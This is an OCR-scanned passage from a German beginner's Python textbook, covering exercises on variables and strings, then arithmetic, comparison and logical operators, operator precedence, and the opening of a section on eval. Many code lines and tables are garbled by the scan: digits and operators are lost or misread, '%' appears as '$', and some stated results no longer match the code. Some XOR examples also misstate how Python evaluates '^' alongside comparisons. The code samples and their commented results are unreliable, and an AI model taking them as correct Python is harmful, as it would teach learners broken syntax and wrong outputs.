zu Syntaxfehlern formlich einladen, da man irgendwann die Ausgabe vor
lauter Anflihrungszeichen nicht mehr sieht.

4.5 Ubungsaufgaben
@ Welche der folgenden Variablennamen sind in Python giltig?

1 pythonl23

2 0815

3 python

4 Fehler

5 false

6 hallo welt

7 True

8 nicht-richtig

9 tmp.2

10 yield



@ Gegeben seien die folgenden Variablen:

1 vorname = "Mustermann"

2 nachname = "Max"

Vertausche, wie in Beispiel 4.1.3, die Werte der beiden Variablen
vorname und nachname, damit der Vor- und Nachname richtig

zugewiesen ist.

@ Gegeben sei das folgende Python-Programm:

1 = 42
2 b =a
3 c=a
4 = 10
5b=c

Welche Werte werden in den folgenden Zeilen ausgegeben?

6 print(a)
7 print (b)
8 print (c)

@ Welche der folgenden Umwandlungen sind moglich und was ist das
Ergebnis?

1 int (42.5)

2 float (-1)

3 str(0.5)
bool (0.001)
str("False")
int (False)
float ("10")
bool ('0")

O 00 N O U b»

int ("False")

10 float ("True"))



@ Gegeben sei das folgende Python-Programm:

1 vorname = "Misa"

2 nachname = "Amani"

3 geschlecht = "weiblich"

4 tag = 22

5 monat = "September"

6 jahr = "1998"

7

8 print (f"Mein Name ist {vorname} {nachname}.\nIch bin

{geschlecht} und wurde am {tag}. {monat} {jahr} geboren.")

Wie lautet die Ausgabe des Programms?

@ Was wird von dem folgenden Programm ausgegeben?

passwortl = "abcl23"
passwort?2 = "Pass Wort"
passwort3 = "ultrd4g3h3lm "

print (passwortl.upper ())
print (passwort2.lower ())
print (passwort3.islower ())

print (passwort2.isupper () )

O 00 N O Uu & W N B

print (passwortl.zfill (8))

=
o

print (passwort2.strip())
11 print (len (passwort3))

@ Was wird von dem folgenden Programm ausgegeben?

a "Buchhaltung"
b = "Python ist toll!"

1

2

3

4 print(al[5])
5 print(b[-1])
6

print (al[:41])



7 print(b[11:16])

8 print (a[-100:10017)

9 print(b.index('o"))

10 print ("Maximilian".index('x"))

11 print ("123456789".index('5"))

12 print (b.replace ("ist","ist super"))

13 print("..... ".replace('.',"'*"))

In der folgenden Playlist findest du die Lésungen zu den Ubungsaufgaben
aus diesem Kapitel:

https://florian-dalwigk.com/python-einsteiger/I%C3%B6sungen_kapitel4


https://florian-dalwigk.com/python-einsteiger/l%C3%B6sungen_kapitel4

5 Operatoren und Operatorrangfolge

In Python gibt es eine Vielzahl verschiedener Operatoren, mit denen man
Logik in sein Programm bringen kann. Variablen nur zuzuweisen und sie
dann auszugeben, ist ziemlich langweilig. Spannend wird es hingegen erst,
wenn man sie miteinander verrechnet. Das allgemeine Muster fiir solche
Operatoren besteht meistens aus drei Bestandteilen, namlich zwei
Operanden und einem Operator:

<Operand 1> <Operator> <Operand 2>
Code-Schablone 4.5.1: Binarer Operator
Wenn ein Operator zwei Operanden bendtigt, dann spricht man von einem

bindaren Operator. Es gibt jedoch auch den Fall, dass ein Operator nur einen
Operanden braucht:

<Operator> <Operand>

Code-Schablone 4.5.2: Unéarer Operator

In so einem Fall spricht man dann von einem unaren Operator. In diesem
Kapitel lernst du die verschiedenen Arten von Operatoren und ihre
Rangfolge untereinander kennen.

5.1 Die vier Grundrechenarten (+, -, *, /)

Beginnen wir, wie in der Schule, mit den vier Grundrechenarten, namlich
Plus, Minus, Mal und Geteilt. Diese gibt es auch in Python. Die folgende
Tabelle gibt Aufschluss darliiber, welches Zeichen fir die jeweilige
Rechenart als Operator verwendet wird.

Rechenoperation Zeichen in der Mathematik Zeichen in Python




Addition + +
Subtraktion - -
Multiplikation . *
Division + oder : /

Tabelle 5.1.1: Vergleich der Zeichen fir die Grundrechenarten in der Mathematik und in Python

Die Operatoren +, —, * und / zahlen zu den sogenannten arithmetischen
Operatoren. Von ihnen wirst du in Kapitel 5.2 und Kapitel 5.3 noch weitere
kennenlernen. Diese arithmetischen Operatoren kdnnen auf Zahlen bzw.
numerische Datentypen angewendet werden, fir die es in Python bspw.
Integer (Ganzzahlen) und Float (FlieBkommazahlen) gibt.

Die folgende Code-Schablone zeigt, wie die einzelnen Operatoren
syntaktisch zu verwenden sind:

<Summand 1> + <Summand 2>
<Minuend> - <Subtrahend>
<Faktor 1> * <Faktor 2>
<Dividend> / <Divisor>

Code-Schablone 5.1.1: Verwendung arithmetischer Operatoren

Beispiel 5.1.1: Die Anwendung der einzelnen Operatoren funktioniert in
Python syntaktisch und semantisch wie in der Mathematik.

1 20 + 30 # Das Ergebnis ist 50

2 25 - 15 # Das Ergebnis ist 10

3 10 * 12 # Das Ergebnis ist 120

4 80 / 10 # Das Ergebnis ist 8.0

5 1.2 + 1.8 # Das Ergebnis ist 3.0
6 2.5 - 1.5 # Das Ergebnis ist 1.0
7 2 * 2.5 # Das Ergebnis ist 5.0

Anstelle von ,nackten” Zahlenwerten kann man auch Variablen
verwenden.



Beispiel 5.1.2: Gegeben seien die folgenden Variablen:

Diese konnen nun wie ,nackte” Zahlenwerte miteinander verrechnet
werden:

3 a + b # Das Ergebnis ist 8.5

4 b - a # Das Ergebnis ist -3.5
5 2 * a # Das Ergebnis ist 12

6 a / 2 # Das Ergebnis ist 3.0

7 b + 3.5 # Das Ergebnis ist 6.0
8 2.5 - b # Das Ergebnis ist 0.0
9 b * 4 # Das Ergebnis ist 10.0

Wenn du bei der Division in Beispiel 5.1.1 (Zeile 4) und Beispiel 5.1.2 (Zeile
6) genau aufgepasst hast, dann wirst du festgestellt haben, dass als
Ergebnis kein Integer, sondern ein Float herauskommt, obwohl die

Division aufgeht:

80/10
# Ergibt 8.0 und nicht 8.

a/2
# Ergibt 3.0 und nicht 3, obwohl wir 6/2 rechnen.

Wie kann das sein? Nun, Python speichert das Ergebnis bei der Division mit
dem Operator / einfach automatisch als Float, denn es kdnnte ja auch
sein, dass die Division nicht aufgeht. Deshalb hat man sich dazu
entschieden, bei Divisionen mit diesem Operator immer einen Wert vom
Typ Float als Ergebnis zu liefern.

Doch was ist, wenn man bewusst einen Integer als Ergebnis haben

mochte? Auch dafir hat Python eine Losung, namlich den doppelten
Divisionsoperator //. Hierbei handelt es sich um einen weiteren

arithmetischen Operator. Mit ihm kann die sogenannte Integer-Division



durchgefiihrt werden, bei der einfach der Nachkommateil im Ergebnis
abgeschnitten wird. Das Ergebnis wird dabei nicht gerundet.




Beispiel 5.1.3:

16 // 2
# Ergibt 3 und nicht 3.0, weil // verwendet wurde.

2 3// 2
# Ergibt 1, weil 3/2 = 1.5 ist und nur der Teil vor dem Komma
betrachtet wird.

38.0// 2
# Ergibt 4.0, obwohl // verwendet wurde. Floats werden nicht
in Integer umgewandelt.

Beim Dividieren kann es passieren, dass man von Python sehr viele
Nachkommastellen angegeben bekommt, die man eigentlich nicht
bendtigt. Die Funktion round schafft da Abhilfe. In runden Klammern wird

eingetragen, welche Zahl gerundet werden soll und dahinter, mit einem
Komma getrennt, auf wie viele Nachkommastellen zu runden ist.

Beispiel 5.1.4: Fiihrt man die Division 3.5/1.2 in Python durch, dann
erhalt man das folgende Ergebnis:

2.916666666666667

Um das Ergebnis auf zwei Nachkommastellen zu runden, kann die Funktion
round genutzt werden:

round(3.5/1.2, 2) # Ergibt 2.92

Du musst die Division nicht direkt in der Funktion round durchfiihren,
sondern kannst das Ergebnis zuerst in einer Variable speichern und diese
dann runden:

1 ergebnis = 3.5/1.2

2 round(ergebnis, 2)

Wenn du eine Variable um den Wert 1 erhéhen bzw. verringern mochtest,

dann bezeichnet man das in der Fachsprache auch als Inkrementieren bzw.
Dekrementieren. In anderen Programmiersprachen gibt es dafir die



Operatoren ++ und —-, die direkt hinter den Variablennamen geschrieben

werden. In Python gibt es das nicht. Hier musst du etwas machen, das in
der Mathematik definitiv falsch aussieht.

Beispiel 5.1.5: Gegeben sei eine Variable a, die den Wert 42 zugewiesen
bekommt:

Um die Variable um 1 zu erh6hen, geht man folgendermalien vor:

2 a
3 a

a + 1 # Ergibt 43
a - 1 # Ergibt 41

Wenn wir rein mathematisch an die Sache herangehen, dann wirde in
Zeile 1 der Widerspruch 0 = 1 und in Zeile 2 der Widerspruch 0 = -1
herauskommen. Gelesen wird das in Python allerdings so:

m Zeile 1: ,Nimm den Wert der Variable a, addiere 1 und weise das
Ergebnis wieder der Variable a zu.”

= Zeile 2: ,Nimm den Wert der Variable a, subtrahiere 1 und weise das
Ergebnis wieder der Variable a zu.”

Anstelle von

der Ausdruck



Statt 1 kann man auch jeden beliebigen anderen Zahlenwert verwenden.
Diese Schreibweise ist auf alle arithmetischen Operatoren tbertragbar.

Beispiel 5.1.6: Gegeben sei die folgende Variable:

Dann kann man den Wert dieser Variable wie folgt verandern:

2 a += 2
# Der Wert der Variable wird um 2 erhéht und ergibt 44.
3 a-=2
# Der Wert der Variable wird um 2 reduziert und ergibt 40.
4 a *= 2
# Der Wert der Variable wird verdoppelt und ergibt 84.
5a /=2
# Der Wert der Variable wird halbiert und ergibt 21.0.
6 a//=2

# Der Wert der Variable wird mithilfe der Integer-Division
halbiert und ergibt 21.

Wie auch in der Mathematik gilt in Python die berihmte Regel
»Punktrechnung geht vor Strichrechnung®, d. h., wenn du die Addition bzw.
Subtraktion in Kombination mit der Multiplikation bzw. Division
verwendest, werden immer zuerst die Multiplikation und Division
berechnet. Das mag hier vielleicht etwas verwirrend sein, da fir die
Division in Python der Forward-Slash / verwendet wird, doch er zahlt

trotzdem zur Punktrechnung dazu.

Beispiel 5.1.7:

iy 2 < 3 5
# Ergibt 1, weil zuerst 2 * 3 = 6 berechnet und dann 5
subtrahiert wird.

2 2/ 4+ 0.5
# Ergibt 1.0, weil zuerst 2 / 4 = 0.5 berechnet und dann 0.5



addiert wird.

32 * 3+ 3 * 4
# Ergibt 18, weil zuerst 2 * 3 = 6 und 3 * 4 = 12 berechnet
werden. Die Ergebnisse werden anschlieRend addiert.

Wenn du mochtest, dass zuerst die Strichrechnung (also + und -)
durchgefiihrt werden soll, dann musst du Klammern verwenden.



Beispiel 5.1.8:

12 * (3 - 05)
# Ergibt -4, weil zuerst 3 - 5 = -2 berechnet und das Ergebnis
dann mit 2 multipliziert wird.

2 (12 + 4) / 2
# Ergibt 8.0, weil zuerst 12 + 4 = 16 berechnet und das
Ergebnis dann durch 2 dividiert wird.

32 * (3 + 3) * 4
# Ergibt 48, weil zuerst 3 + 3 = 6 berechnet wird und das
Ergebnis danach mit 2 und anschlieBend mit 4 multipliziert

wird.

Zwei von den arithmetischen Operationen, die du bisher kennengelernt
hast, kdnnen neben Integern und Floats auch auf Strings

angewendet werden. Klingt komisch, ist aber so. Um welche Operationen
handelt es sich hierbei? Nun, um die Addition + und die Multiplikation *.

Zwei Strings kénnen durch ein + miteinander verknlpft werden. Statt

Addition sagt man dazu dann Konkatenation. Die Konkatenation ist wirklich
so einfach, wie man sie sich vorstellt: Man hat zwei oder mehrere
Strings, die einfach direkt hintereinandergeschrieben werden und

dadurch einen neuen String ergeben.
Beispiel 5.1.9:

1 "apfel" + "saft" # Ergibt "apfelsaft"
2 "a" + "b" + "C" # Ergibt "abC"

3 "wasser" + "fall" # Ergibt "wasserfall"

Man kann die Strings selbstverstandlich auch in Variablen speichern
und diese dann konkatenieren.

Beispiel 5.1.10: Gegeben seien die folgenden Variablen:

"und"

N
Il

"Welpe"



Diese kdnnen nun konkateniert werden:

3 "h" + a # Ergibt "hund"
4 "h" + a + "e" + b # Ergibt "hundewelpe"
5 b + "n" # Ergibt "welpen"

Beachte, dass du Strings und Zahlen bei der Verwendung des Operators
+ nicht miteinander mischen darfst, weil du ansonsten die folgende
Fehlermeldung erhaltst:

TypeError: can only concatenate str (not "int") to str

Schon und gut, doch wie kann der Operator * bei Strings verwendet

werden? Nun, hier ist Vorsicht geboten. Man kann namlich nicht zwei
Strings miteinander multiplizieren, sondern lediglich einen String
und einen Integer. Ansonsten erhaltst du die folgende Fehlermeldung:

"hallo" * "welt"
>> TypeError: can't multiply sequence by non-int of type 'str'

Der Integer gibt dabei an, wie oft derselbe String
hintereinandergeschrieben werden soll.

Beispiel 5.1.11: Gegeben sei die Zeichenkette hallo. Diese kann durch

die Multiplikation mit einer Zahl mehrfach hintereinandergeschrieben
werden:

1 "hallo" * 3 # Ergibt "hallohallohallo"
2 2 * "hallo" # Ergibt "hallohallo"

Obwohl es in manchen Fallen sinnvoll sein kdnnte, ist es nicht moglich,
Strings zu subtrahieren.'® Auch eine Division ist flir Strings nicht

definiert.

5.2 Potenzieren



In Kapitel 5.1 hast du die funf arithmetischen Operatoren +, -, *, /
und // kennengelernt. In diesem Kapitel kommt ein weiterer hinzu,

namlich der fir das Potenzieren. Klaren wir aber zuerst noch einmal ab,
was man unter Potenzieren Gberhaupt versteht. Hierbei handelt es sich um
eine mathematische Operation, bei der eine Zahl n mal mit sich selbst
multipliziert wird. Notiert wird das folgendermalien:

a =a-a-a-..-a

n mal

a ist die sogenannte Basis und n der Exponent. Der Exponent gibt an, wie
oft die Basis a mit sich selbst multipliziert wird.

Beispiel 5.2.1: Die Zahl a = 2 soll n = 5 mal mit sich selbst multipliziert
werden. Das Ergebnis ist

25=2.2.2.2.2=32

Den Ausdruck Basis®®°memt nennt man Potenz. Wenn du mehr zu Potenzen
und den damit verbundenen Rechengesetzen erfahren mochtest, dann
kannst du dir das folgende Video anschauen:

https://florian-dalwigk.com/python-einsteiger/potenzgesetze

Doch wie kann man Potenzen in Python berechnen? Dafiir gibt es den


https://florian-dalwigk.com/python-einsteiger/potenzgesetze

Operator **. Ja, du hast richtig gelesen. Wie bei dem doppelten Forward-
Slash // fur die Integer-Division gibt es auch von dem
Multiplikationsoperator * eine Variante, bei der man doppelt sieht. Die
folgende Code-Schablone zeigt, wie man diesen Operator verwendet:

<Basis>**<Exponent>

Code-Schablone 5.2.1: Potenz-Operator

Beispiel 5.2.2: Die Potenz 2> mit der Basis a = 2 und dem Exponenten
n = 5 soll in Python berechnet werden. Dafiir kommt der Operator ** zum
Einsatz:

2**5 # Ergibt 32, denn 2 * 2 * 2 * 2 * 2 = 32

Natilrlich muss man auch hier nicht nur mit ,nackten” Zahlen arbeiten,
sondern kann auch Variablen verwenden:

Beispiel 5.2.3: Gegeben seien die folgenden Variablen:

Diese kdnnen nun wie folgt verrechnet werden:

3 a**b # Entspricht 273 und ergibt 8
4 b**a # Entspricht 372 und ergibt 9
5 a**2 # Entspricht 272 und ergibt 4
6 3**b # Entspricht 373 und ergibt 27

Einen Sonderfall, der direkt aus der Mathematik entspringt, mdchte ich an
dieser Stelle noch erwdhnen. Man kann die Quadratwurzel v/a einer Zahl a

auch durch Potenzieren berechnen. Dabei gilt:

V2 = 05



Das lasst sich mit dem Operator ** genauso auch in Python umsetzen.
Andernfalls musstest du die Funktion sgrt verwenden, die Teil des Pakets
math ist. Das besprechen wir jedoch erst in Kapitel 11.3.

Beispiel 5.2.4: Wir wollen ghne die Funktion sgrt des Pakets math die
Quadratwurzel aus der Zahl 16 ziehen. In Python verwenden wir dazu den
Potenz-Operator mit 0.5 im Exponenten:

16**0.5 # Ergibt 4.0

Theoretisch gibt es zwei Losungen, namlich =4 .0 und 4.0. Python gibt
uns die positive Losung aus.

5.3 Modulo (%, Teilen mit Rest)

Jetzt wollen wir uns noch einmal naher mit der Division beschaftigen.
Bisher hast du die ,klassische” Division mit dem Operator / und die

Integer-Division mit dem Operator // kennengelernt. Bei der
Integer-Division hast du als Ergebnis der Division jedoch nur den
Vorkommateil erhalten und es wurde nicht gerundet. Was ist aber, wenn
dich nur der Rest, der bei einer Division entsteht, interessiert? Dann kannst
du den sogenannten Modulo-Operator $ verwenden. Dieser gibt namlich
genau den Rest r an, der bei der Division von a durch b entsteht und er
wird dementsprechend auf Ganzzahlen, also Integer, angewendet.?

Auch wenn diese Operation erstmal nicht sonderlich spannend klingt, ware
die moderne Kryptographie ohne Modulo-Rechnung so gut wie unmaglich,
weshalb es sich durchaus lohnt, sich inhaltlich damit auseinanderzusetzen.

Die folgende Code-Schablone zeigt, wie der Modulo-Operator $ syntaktisch
genutzt wird:

<Zahl> % <Modulus>

Code-Schablone 5.3.1: Modulo-Operator %



Beispiel 5.3.1:

1 9% 3 # Ergibt 0, weil 9 3 = 3, Rest 0 ist.
2 7% 3 # Ergibt 1, weil 7 3 =2, Rest 1 ist.
3 5% 3 # Ergibt 2, weil 5 3 =1, Rest 2 ist.
4 3 % 5 # Ergibt 3, weil 3 5 = 0, Rest 3 ist.
5 7 % 7 # Ergibt 0, weil 7 7 =1, Rest 0 ist.

Auch hier konnen wieder Variablen verwendet werden.

Beispiel 5.3.2: Gegeben seien die folgenden Variablen:

1 a =12
2 b =3
3 c =7

Diese konnen nun wie folgt verrechnet werden:

4 a % b # Ergibt 0, weil 12 : 3 = 4, Rest 0 ist.
5 % ¢ # Ergibt 5, weil 12 : 7 = 1, Rest 5 ist.
6 b $ ¢ # Ergibt 3, weil 3 7 = 0, Rest 3 ist.

7 ¢ % a # Ergibt 7, weil 7 : 12 = 0, Rest 7 ist.
8 ¢c % # Ergibt 1, weil 7 3 =2, Rest 1 ist.

9 a $ a # Ergibt 0, weil 12 : 12 = 1, Rest 0 ist.

5.4 Vergleichsoperatoren (<, <=, ==, | =, =>, >)

Nachdem du in Kapitel 5.1, Kapitel 5.2 und Kapitel 5.3 insgesamt sieben
arithmetische Operatoren kennengelernt hast, ist es an der Zeit, dass du
eine weitere Klasse von Operatoren kennenlernst, namlich die
Vergleichsoperatoren. Welche Maoglichkeiten fallen dir spontan ein, bei
denen ein Vergleich sinnvoll erscheint? Schauen wir uns dazu mal die
beiden Personen ,,Pam“ und ,Flo“ an:



Pam Flo

Abbildung 5.4.1: Pam und Flo

In welchen Eigenschaften konnen sich Pam und Flo voneinander
unterscheiden? Wie kdnnte man diese vergleichen? Da hatten wir z. B. die
KorpergroRe. In Abbildung 5.4.1 ist Flo groBer als Pam und Pam somit
kleiner _als Flo. Sie sind also nicht gleich grof8. Es konnte auch ein
Altersunterschied zwischen den beiden bestehen, aber sie sind beide 28,
also gleich alt. Das Gewicht ist eine weitere numerische GroRe, in der sich
Pam und Flo moglicherweise unterscheiden. Warum maoglicherweise? Nun,
weil beide lber ihr Gewicht schweigen. Aufgrund der KoérpergroRe kdnnte
man aber davon ausgehen, dass Flos Gewicht groRer als oder gleich dem
von Pam ist. Umgekehrt ist das Gewicht von Pam kleiner als oder gleich
dem von Flo. So, damit hast du bereits alle Vergleichsoperatoren
kennengelernt, die es in Python gibt. Die folgende Tabelle fasst sie noch
einmal zusammen:

Operator Bedeutung
a <b a kleinerals b
a <= b a kleiner oder gleich b
a ==> a gleich b
a !=b a ungleich b



a > b a groRer gleich b

a >b a groRerals b

Tabelle 5.4.1: Vergleichsoperatoren in Python

Das Ergebnis eines Vergleichs ist ein Wahrheitswert vom Datentyp bool
(Kapitel 4.2), also entweder True oder False. Diese kann man Variablen

zuweisen oder sie direkt ausgeben. Die folgende Code-Schablone zeigt, wie
man Vergleiche syntaktisch notiert:

<Operand 1> <Vergleichsoperator> <Operand 2>

Code-Schablone 5.4.1: Vergleichsoperatoren
Beispiel 5.4.1:

1 12.5 > 1
# True, weil 12.5 groBer als 1 ist.

2 42 >= 42
# True, weil 42 groRer als oder gleich 42 ist.
3 10 == 11
# False, weil 10 nicht gleich 11 ist.
4 70 !'= 80
# True, weil 70 nicht gleich 80 ist.
5 12 <= 13

# True, weil 12 kleiner als oder gleich 13 ist.

6 0.5 < 0.3
# False, weil 0.5 nicht kleiner als 0.3 ist.

Beispiel 5.4.2: Gegeben seien die folgenden Variablen:

alter pam = 28 # Jahre

groesse pam = 170 # cm

alter flo = 28 # Jahre

180 # cm

1
2
3 gewicht pam = 62 # kg
4
5 groesse flo
6

gewicht flo 72 # kg



Diese werden nun miteinander verglichen:

7 alter pam < alter flo
# False, weil Flo und Pam gleich alt sind.

8 alter pam <= alter flo
# True, weil 28 <= 28 ist.

9 groesse flo == 190
# False, weil 180 ungleich 190 ist.

10 alter pam != alter flo
# False, weil Flo und Pam gleich alt sind.

11 gewicht flo > gewicht pam
# True, well 72 > 62 ist.

12 alter pam >= alter flo
# True, weil 28 >= 28 ist.

Die Vergleichsoperatoren sind primar fliir numerische Werte vorgesehen.
Mit dem Operator == kann man jedoch auch Strings miteinander
vergleichen:

Beispiel 5.4.3: Es soll Gberprift werden, ob die beiden Namen "F1o" und
"Pam" gleich sind. Was jeder mit einem geschulten Auge sieht, kann man
in Python folgendermalien Uberprifen:

1 "Flo" == "Pam"
# False, weil "Flo" und "Pam" nicht gleich sind.

2 "Flo" != "Pam"
# True, weil "Flo" und "Pam" nicht gleich sind.

Auch hier ist es natirlich wieder mdglich, den Vergleich mit Variablen
durchzufiihren:

Beispiel 5.4.4:

1 a = "Flo"
2 b = "Pam"
3 a==>D
# False, weil "Flo" und "Pam" nicht gleich sind.

4 a '= Db



True, weil "Flo" und "Pam" nicht gleich sind.

—— "Flo"
True, weil die Variable a den Wert "Flo" hat.

ul
H+= 0 =

Der Vergleich von Objekten ist ein Thema fiir sich, da eine Unterscheidung
zwischen Gleichheit und Identitdt getroffen werden muss. Da wir zu
diesem Zeitpunkt aber noch nicht tGber Objekte in der Programmierung
gesprochen haben, wird der Vergleich von Objekten erst in Kapitel 13.2 fiir
dich relevant.

5.5 Logische Operatoren (and, or, not, ")

Die dritte Klasse von Operatoren in Python sind die logischen Operatoren.
Mit ihnen ist es moglich, Wahrheitswerte zu verknipfen bzw. zu
vergleichen. Diese kdnnen entweder direkt als Werte (True und False)

oder als Ergebnis einer Vergleichsoperation vorliegen (Kapitel 5.4). Die
Code-Schablone fiir logische Operatoren sieht folgendermalen aus:

<Aussage 1> <Logischer Operator> <Aussage 2>

Code-Schablone 5.5.1: Logische Operatoren
Beginnen wir gleich mit der and-Verknipfung. Werden zwei
Wahrheitswerte a und b mit einem and verknupft, dann ist das Ergebnis

genau dann True, wenn a und b beide True sind. Die folgende Tabelle
zeigt, welche Wahrheitswerte in welchen Fallen herauskommen:

and True False
True True False
False False False

Tabelle 5.5.1: Logische Verknipfungstabelle flir die and Operation
Beispiel 5.5.1:

1 "a" == "a" and 3 > 2



# True, weil "a" == "a" und 3 > 2 True sind.
2 2 > 3 and 3 ==

# False, weil 2 > 3 False ist.
3 3<=3and 1 !'=0

# True, weil 3 <= 3 bzw. 1 != 0 True sind.

4 True and 1 < 0
# False, weil 1 < 0 False ist.

51 <= 0 and 2 ==
# False, weil 1 <= 0 und 2 == 3 False sind.

Machen wir direkt mit dem or-Operator weiter. Werden zwei
Wahrheitswerte a und b mit einem or verknlpft, dann ist das Ergebnis
genau dann True, wenn a oder b True sind. Die folgende Tabelle zeigt,
welche Wahrheitswerte in welchen Fallen herauskommen:

or True False
True True True
False True False

Tabelle 5.5.2: Logische Verkniipfungstabelle fir die or Operation

Beispiel 5.5.2:

1 "g" == "3" or 3 > 2

# True, weil "a" == "a" und 3 > 2 True sind.
2 2 > 3 or 3 ==

# True, weill 3 == 3 True ist.
3 3<=30r1!=0

# True, weil 3 <= 3 bzw. 1 != 0 True sind.

4 True or 1 < O
# True, weil True in der Verknipfung auftaucht.

51 <=0 or 2 ==
# False, weil 1 <= 0 und 2 == 3 False sind.

Der nachste logische Operator stellt eine Ausnahme zur Code-Schablone
5.5.1 dar, da hier nur eine <Aussage> bendétigt wird. Es handelt sich



dabei um den not-Operator, der einen unaren Operator darstellt. Mit not

kann ein Wahrheitswert negiert (also umgekehrt) werden. Die folgende
Tabelle zeigt, welche Wahrheitswerte in welchen Fallen herauskommen:

not
True False
False True

Tabelle 5.5.3: Logische Verknipfungstabelle flir die not Operation



Beispiel 5.5.3:

1 not 3 > 2
# False, weil 3 > 2 True ist und negiert wird.

2 not 3 ==
# False, weil 3 == 3 True ist und negiert wird.

3 not 3 <= 3
# False, weil 3 <= 3 True ist und negiert wird.

4 not 3 != 3
# True, weil 3 != 3 False ist und negiert wird.

5 not 1 <=0
# True, weil 1 <= 0 False ist und negiert wird.

Bei dem nachsten logischen Operator handelt es sich um eine Abwandlung
des bereits bekannten or-Operators. Hier war es so, dass nur eine der
beiden Aussagen a und b True sein musste, damit die Verknlpfung a_or
b den Wahrheitswert True liefert. Das dahintersteckende Oder kann man
auch als Milch-oder-Zucker-Oder bezeichnen. Wenn du namlich in einem
Restaurant einen Kaffee bestellst und dich der Kellner fragt, ob du Milch
oder Zucker dazuhaben maochtest, dann hast du auch die Option, beides zu
nehmen. Bei dem sogenannten Exklusiv-Oder, um das es jetzt geht, musst
du dich fir eine Option entscheiden. Im Deutschen wiirde man von einem
Entweder-Oder sprechen: Du kannst entweder die Milch oder den Zucker
haben, doch beides gleichzeitig geht nicht (oder nur gegen einen Aufpreis).
Das Exklusiv-Oder kennt man in der Programmierung auch unter der
Bezeichnung XOR.** In Python wird dafiir ein Zirkumflex ~ verwendet. Die
folgende Tabelle zeigt, welche Wahrheitswerte in welchen Fallen
herauskommen:

A True False
True False True
False True False

Tabelle 5.5.4: Logische Verknipfungstabelle fiir die ~ Operation

Wie du siehst, funktioniert der "-Operator fast genauso wie der or-



Operator. Der einzige Unterschied besteht in dem Fall True ~ True.
Hier greift die Exklusivitat und es darf nur einer der beiden Wahrheitswerte
True sein, damit die Gesamtaussage True wird.

Beispiel 5.5.4:
1 "a" == "a" ~ 3 > 2
# False, weil "a" == "a" und 3 > 2 True sind.
2 2>3"3==3
# True, weil (nur) 3 == 3 True ist.
3 3<=3"11=0
# False, weil 3 <= 3 und 1 != 0 True sind.

4 True ~ 1 < 0
# True, weil 1 < 0 False ist und True auftaucht.

51<=0"2==3
# False, weil 1 <= 0 und 2 == 3 False sind.

Eine von vielen moglichen Anwendungen fir die XOR-Verknlpfung findet
sich in der Verschlisselung wieder, wie du in dem folgenden Video sehen
kannst:

https://florian-dalwigk.com/python-einsteiger/xor_one_time_pad

Den "-Operator findet man in Python haufig bei bitweisen Operationen
vor. Da diese fir ein Python-Einsteigerbuch jedoch zu weit fihren wiirden,
wurden sie hier bewusst ausgelassen. In dem folgenden Video erfahrst du
allerdings mehr zu diesem Thema:


https://florian-dalwigk.com/python-einsteiger/xor_one_time_pad

https://florian-dalwigk.com/python-einsteiger/bitweise_operation

Es ist auBerdem moglich, mehrere logische Operatoren in Kombination zu
verwenden. Daraus lassen sich ziemlich komplexe Aussagen basteln. Daflr
ist es aber erforderlich, dass du weil8t, welche Operatoren wie stark
binden. Diese Operatorrangfolge besprechen wir in Kapitel 5.6.

Eine ausfuhrliche Einflihrung in das Thema Aussagenlogik kannst du dir in
dem folgenden Video anschauen:

https://florian-dalwigk.com/python-einsteiger/aussagenlogik

5.6 Operatorrangfolge

»Punktrechnung geht vor Strichrechnung.” In diesem Satz versteckt sich
eine Rangfolge, in der die Operatoren +, — und *, /, //, % ausgewertet


https://florian-dalwigk.com/python-einsteiger/bitweise_operation
https://florian-dalwigk.com/python-einsteiger/aussagenlogik

werden sollen. Die folgende Tabelle zeigt, welche Operatoren wie stark
binden. Die Bindungsstarke nimmt von oben nach unten ab, d. h., ganz
oben stehen die Operatoren, die am starksten und unten die, die am
schwachsten binden. Die Operatoren innerhalb einer Zeile haben die
gleiche Bindungsstarke.

Operator Bedeutung
a ** b Potenz a®
a*b amalb
a /b a geteilt durch b
a// b Integer-Division von a und b
as%$b a modulo b
a+b a plusb
a - b a minus b
a "™ b entweder a oder b
a<b a kleiner als b
a <=b a kleiner als oder gleich b
a == a gleich b
a l=5b a ungleich b
a > b a groRer als oder gleich b
a>>b a groBer als b
not a nicht a
a and b aundb
a or b aoderb

Beispiel 5.6.1:

12 * 3+ 5

# Zuerst wird 2 * 3 berechnet

2 2 +3>05

# Zuerst wird 2 + 3 berechnet
(False) .

Tabelle 5.6.1: Bindungsstarke verschiedener Operatoren

Ergebnis groRer als 5 ist

3 2**3 % 5

# Zuerst wird 2 ** 3 berechnet

(6)

(5)

(8)

und dann die 5 addiert

und dann gepruft,

und das Ergebnis dann

(11) .

ob das




modulo 5 genommen (3) .

4 3 <5 and 2 == 2 or 5 >= 10
# Zuerst wird 3 < 5 (True) und 2 == (True) ausgewertet. Die
Wahrheitswerte werden mit "and" verknipft (True). Danach wird
5 >= 10 ausgewertet (False) und das Ergebnis dann mit dem
zuvor berechneten Wahrheitswert via "or" verknUpft (True).

Wenn du bewusst von dieser Operatorrangfolge abweichen mdchtest,
dann musst du Klammern um die Ausdriicke setzen, die zuerst ausgewertet
werden sollen.

Beispiel 5.6.2:

1 2 * (3 + 5)
# Zuerst wird 3 + 5 berechnet (8) und das Ergebnis dann mit 2
multipliziert (16).

2 2**(3 % 5)
# Zuerst wird 3 $ 5 berechnet (3). Das Ergebnis wird als
Exponent in der Potenz 2**3 verwendet (8).

3 3 <5 and (2 == 2 or 5 >= 10)
# Zuerst wird 3 < 5 (True) ausgewertet. Danach werden 2 ==
(True) und 5 > 10 (False) ausgewertet. Das Ergebnis wird dann
mit dem "or" verknipft (True). Dieser Wahrheitswert wird dann
mit dem zuvor berechneten Wahrheitswert (True) via "and"
verknupft (True).

5.7 eval

Angenommen, du mochtest eine Art Taschenrechner in Python
programmieren. Fir einfache Additionen, Subtraktionen etc. ist es
natirlich sehr leicht, zwei Zahlen von einem Benutzer eingeben zu lassen
und diese dann richtig zu interpretieren. Sobald es aber an komplexere
Berechnungen mit mehreren Rechenoperationen in Kombination wie
bspw.

(2 = (3.5  1.5)**3 = 12,5 * 2)*%0.5

geht, ist es nicht mehr praktikabel, jede Zahl und die gewinschte




Rechenoperation vom Benutzer einzeln abzufragen. Fir dieses Problem
bietet Python eine komfortable Losung an, namlich die Funktion eval. Als

Parameter erhalt sie Code, der ausgefiihrt werden soll. Dieser Code wird in
Form eines Strings Ubergeben. Wenn es ein Ergebnis gibt, dann wird es

zurtickgegeben und kann einer Variable zugewiesen werden.

Beispiel 5.7.1: Mithilfe der Funktion eval soll das Ergebnis der folgenden
